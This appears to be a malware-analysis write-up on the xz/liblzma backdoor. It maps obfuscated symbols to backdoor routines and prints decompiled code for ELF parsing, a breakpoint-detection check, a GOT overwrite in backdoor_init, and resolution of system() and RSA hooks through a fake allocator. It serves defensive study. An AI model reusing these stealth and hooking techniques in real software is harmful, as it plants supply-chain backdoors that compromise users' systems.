Llzma_delta_props_decoder->backdoor_ctx_saveLlzma_block_param_encoder_0->backdoor_initLlzma_delta_props_encoder->backdoor_init_stage2
Prefix Trie (https://social.hackerspace.pl/@q3k/112184695043115759)
-
Llzip_decode_1->table1 -
Lcrc64_clmul_1->table2 -
Llz_stream_decode->count_1_bits -
Lsimple_coder_update_0->table_get- Retrieves the index of the encoded string given the plaintext string in memory
-
Lcrc_init_0->import_lookup -
.Lcrc64_generic.0->import_lookup_ex
Llzma_block_buffer_encode_0->check_software_breakpointLx86_code_part_0->code_dasm
-
Llzma_delta_decoder_init_part_0->backdoor_ctx_init -
Lstream_decoder_memconfig_part_1->get_lzma_allocator -
Llzma_simple_props_encode_1->j_tls_get_addr -
Llzma_block_uncomp_encode_0->rodata_ptr_offset -
Llzma12_coder_1->global_ctx
-
Llzma_filter_decoder_is_supported.part.0->parse_elf_invoke -
Lmicrolzma_encoder_init_1->parse_elf_init -
Lget_literal_price_part_0->parse_elf -
Llzma_stream_header_encode_part_0->get_ehdr_address -
Lparse_bcj_0->process_elf_seg -
Llzma_simple_props_size_part_0->is_gnu_relro
// locate elf header
while ( 1 )
{
if ( (unsigned int)table_get(ehdr, 0LL) == STR__ELF ) // 0x300
break; // found
ehdr -= 64; // backtrack and try again
if ( ehdr == start_pointer )
goto not_found;
}Llzma_stream_flags_compare_1->get_rodata_ptr
-
Llzma_index_memusage_0->apply_entries -
Llzma_check_init_part_0->apply_one_entry -
Lrc_read_init_part_0->apply_one_entry_internal -
Llzma_lzma_optimum_fast_0->install_entries -
Llzip_decoder_memconfig_part_0->installed_func_0 -
Llzma_index_stream_size_1->installed_func_1 -
Lindex_decode_1->installed_func_2 -
Lindex_encode_1->installed_func_3 -
Llzma2_decoder_end_1->apply_one_entry_ex -
Llzma2_encoder_init.1->apply_method_1 -
Llzma_memlimit_get_1->apply_method_2
Lstream_decoder_mt_end_0->get_lzma_allocator_addr
Llzma_delta_props_encode_part_0->resolve_imports(includingsystem())
This method checks if the instruction endbr64, which is always present at the beginning of every function in the malware, is overwritten.
GDB would typically do this when inserting a software breakpoint
/*** address: 0xAB0 ***/
__int64 check_software_breakpoint(_DWORD *code_addr, __int64 a2, int a3)
{
unsigned int v4;
v4 = 0;
// [for a3=0xe230], true when *v = 0xfa1e0ff3 (aka endbr64)
if ( a2 - code_addr > 3 )
return *code_addr + (a3 | 0x5E20000) == 0xF223;// 5E2E230
return v4;
}Function backdoor_init (0xA7849)
__int64 backdoor_init(rootkit_ctx *ctx, DWORD *prev_got_ptr)
{
_DWORD *v2;
__int64 runtime_offset;
bool is_cpuid_got_zero;
void *cpuid_got_ptr;
__int64 got_value;
_QWORD *cpuid_got_ptr_1;
ctx->self = ctx;
// store data before overwrite
backdoor_ctx_save(ctx);
ctx->prev_got_ptr = ctx->got_ptr;
runtime_offset = ctx->head - ctx->self;
ctx->runtime_offset = runtime_offset;
is_cpuid_got_zero = (char *)*(&Llzma_block_buffer_decode_0 + 1) + runtime_offset == 0LL;
cpuid_got_ptr = (char *)*(&Llzma_block_buffer_decode_0 + 1) + runtime_offset;
ctx->got_ptr = cpuid_got_ptr;
if ( !is_cpuid_got_zero )
{
cpuid_got_ptr_1 = cpuid_got_ptr;
got_value = *(QWORD *)cpuid_got_ptr;
// replace with Llzma_delta_props_encoder (backdoor_init_stage2)
*(QWORD *)cpuid_got_ptr = (char *)*(&Llzma_block_buffer_decode_0 + 2) + runtime_offset;
// this calls Llzma_delta_props_encoder due to the GOT overwrite
runtime_offset = cpuid((unsigned int)ctx, prev_got_ptr, cpuid_got_ptr, &Llzma_block_buffer_decode_0, v2);
// restore original
*cpuid_got_ptr_1 = got_value;
}
return runtime_offset;
}str_id = table_get(a6, 0LL);
...
if ( str_id == STR_RSA_public_decrypt_ && v11 )
...
else if ( v13 && str_id == STR_EVP_PKEY_set__RSA_ )
...
else if (str_id != STR_RSA_get__key_ || !v17 )Hidden calls (via lzma_alloc)
lzma_alloc has the following prototype:
extern void * lzma_alloc (size_t size , const lzma_allocator * allocator )The malware implements a custom allocator, which is obtained from get_lzma_allocator @ 0x4050
void *get_lzma_allocator()
{
return get_lzma_allocator_addr() + 8;
}
char *get_lzma_allocator_addr()
{
unsigned int i;
char *mem;
// Llookup_filter_part_0 holds the relative offset of `_Ldecoder_1` - 180h (0xC930)
// by adding 0x160, it gets to 0xCA90 (Lx86_coder_destroy), which is subsequently used as scratch space
// for creating the `lzma_allocator` struct (data starts after 8 bytes, at 0xCA98, which is the beginning of a .data segment)
mem = (char *)Llookup_filter_part_0;
for ( i = 0; i <= 0xB; ++i )
mem += 32;
return mem;
}The interface for lzma_allocator can be viewed for example here: https://github.com/frida/xz/blob/e70f5800ab5001c9509d374dbf3e7e6b866c43fe/src/liblzma/api/lzma/base.h#L378-L440
The malware initializes it in parse_elf_init (TODO: find which functions are used for alloc and free).
- NOTE: the function used for alloc is very likely
import_lookup_ex, which turnslzma_allocinto an import resolution function: e.g. fromresolve_imports:
system_func = lzma_alloc(STR_system_, lzma_allocator);
ctx->system = system_func;
if ( system_func )
++ctx->num_imports;
shutdown_func = lzma_alloc(STR_shutdown_, lzma_allocator);
ctx->shutdown = shutdown_func;
if ( shutdown_func )
++ctx->num_imports;The third field, opaque, is used to pass additional data to the functions, e.g. (in Llzma_index_buffer_encode_0):
lzma_allocator = get_lzma_allocator();
result = parse_elf(*a1, a2);
if ( (_DWORD)result )
{
lzma_allocator[2] = a2; // <-- sets the `opaque` field to some data that will be used by the fake allocator function
v6 = lzma_alloc(STR_read_, lzma_allocator);
*(_QWORD *)(a3 + 72) = v6;
if ( v6 )
++*(_DWORD *)a3;
v7 = lzma_alloc(STR___errno_location_, lzma_allocator);
*(_QWORD *)(a3 + 80) = v7;
if ( v7 )
++*(_DWORD *)a3;
return *(_DWORD *)a3 == 2;
}
return result;
}Note how, instead of size, the malware passes an EncodedStringID instead